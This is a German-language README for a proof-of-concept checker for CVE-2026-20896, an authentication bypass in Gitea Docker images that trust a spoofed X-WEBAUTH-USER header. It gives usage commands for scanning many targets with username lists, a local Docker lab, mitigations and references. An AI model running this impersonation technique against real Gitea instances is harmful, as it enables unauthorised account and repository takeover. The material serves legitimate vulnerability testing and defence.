CVE-2026-20896 Gitea Docker Auth Bypass Checker

Nur für autorisierte Red-Team-/Pentest-Operationen.

Dieses Repository enthält einen minimalen Checker für CVE-2026-20896, eine Authentifizierungsumgehung in offiziellen Gitea Docker-Images bis einschließlich 1.26.2, wenn Reverse-Proxy-Authentifizierung aktiviert ist.

Was CVE-2026-20896 ist

Betroffene Gitea Docker-Images enthielten eine app.ini-Vorlage mit:

REVERSE_PROXY_TRUSTED_PROXIES = *

Wenn ein Administrator Folgendes aktivierte:

ENABLE_REVERSE_PROXY_AUTHENTICATION = true

Gitea vertraute X-WEBAUTH-USER von jeder Quell-IP, die direkt den HTTP-Port des Containers erreichen konnte. Ein Client, der den vorgesehenen authentifizierenden Reverse-Proxy umging, konnte einen einzelnen Header senden und sich als bekannter oder erratbarer Benutzer ausgeben.

Die praktische Auswirkung ist die nicht authentifizierte Identitätsübernahme eines Kontos. Wenn der erratene Benutzer ein Administrator ist, ist der schlimmste Fall die vollständige Übernahme der Gitea-Instanz und ihrer Repositorys auf Anwendungsebene. Host-RCE ist umgebungsabhängig und wird von diesem Checker nicht behauptet.

Gepatchte Versionen beginnen bei 1.26.3; ein Upgrade auf 1.26.4 oder neuer wird empfohlen.

Wie der PoC funktioniert

Der Checker:

1. Ruft die Ziel-Startseite ab.
2. Sucht nach Fußzeilentext wie Powered by Gitea Version: 1.26.4.
3. Überspringt standardmäßig den Test, wenn die geparste Version >= 1.26.3 ist.
4. Sendet GET /-Anfragen mit X-WEBAUTH-USER: <username> für jeden angegebenen Benutzernamen.
5. Meldet einen Treffer, wenn der zurückgegebene Seitentitel wie ein eingeloggtes Dashboard für diesen Benutzer aussieht.

Die Go-Version unterstützt mehrere Ziele, Benutzernamendateien, Nebenläufigkeit, Timeouts, JSONL-Ausgabe, TLS --insecure, --dry-run und --force.

Erstellung

go build -o gitea-cve-2026-20896-check .

Es werden keine Go-Abhängigkeiten von Drittanbietern benötigt.

Verwendung

Einzelnes Ziel:

./gitea-cve-2026-20896-check \
  --url http://localhost:3000 \
  --users admin,gitea_admin,alice

Mehrere Ziele und Benutzernamen:

./gitea-cve-2026-20896-check \
  --targets targets.txt \
  --user-file users.txt \
  --concurrency 64 \
  --timeout 8s \
  --jsonl

Probelauf:

./gitea-cve-2026-20896-check \
  --url http://localhost:3000 \
  --users admin,alice \
  --dry-run

Bash-Fallback:

./poc.sh --url http://localhost:3000 --users admin,alice

Exit-Codes

• 0: mindestens eine verwundbare Identitätsübernahme wurde bestätigt
• 1: keine verwundbare Identitätsübernahme wurde bestätigt
• 2: Verwendungs-, Eingabe- oder Laufzeitfehler

Lokales Reproduktionslabor

Das folgende Labor startet einen betroffenen lokalen Gitea-Container und erstellt einen Testbenutzer:

docker run -d --name gitea-cve-2026-20896 \
  -p 127.0.0.1:3000:3000 \
  -e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
  -e GITEA__security__INSTALL_LOCK=true \
  gitea/gitea:1.26.2

sleep 15

docker exec --user git gitea-cve-2026-20896 gitea admin user create \
  --username alice \
  --password 'longpasswordhere1234' \
  --email [email protected] \
  --must-change-password=false

./gitea-cve-2026-20896-check --url http://localhost:3000 --users bob,alice,admin

Erwartetes positives Ergebnis:

[VULNERABLE] http://localhost:3000 user=alice title="alice - Dashboard - Gitea: Git with a cup of tea"

Bereinigung:

docker rm -f gitea-cve-2026-20896

Gegenmaßnahmen

• Aktualisieren Sie Gitea auf 1.26.3 oder neuer; 1.26.4 oder neuer wird bevorzugt.
• Setzen Sie den HTTP-Port des Backend-Gitea-Containers nicht direkt unsicheren Netzwerken aus.
• Konfigurieren Sie explizit vertrauenswürdige Reverse-Proxies.
• Lassen Sie die Reverse-Proxy-Authentifizierung deaktiviert, es sei denn, der Netzwerkpfad und die Vertrauensgrenze des Proxys sind verstanden.

Referenzen

• Gitea-Sicherheitshinweis: https://github.com/go-gitea/gitea/security/advisories/GHSA-f75j-4cw6-rmx4
• Gitea-Versionshinweise für 1.26.3 / 1.26.4: https://blog.gitea.com/release-of-1.26.3-and-1.26.4/
• Fix-PR: https://github.com/go-gitea/gitea/pull/38151
• CVE-Eintrag: https://www.cve.org/CVERecord?id=CVE-2026-20896
• Bericht über Angriffe in freier Wildbahn via The Hacker News / Sysdig-Telemetrie: https://thehackernews.com/2026/07/threat-actors-probe-gitea-docker-flaw.html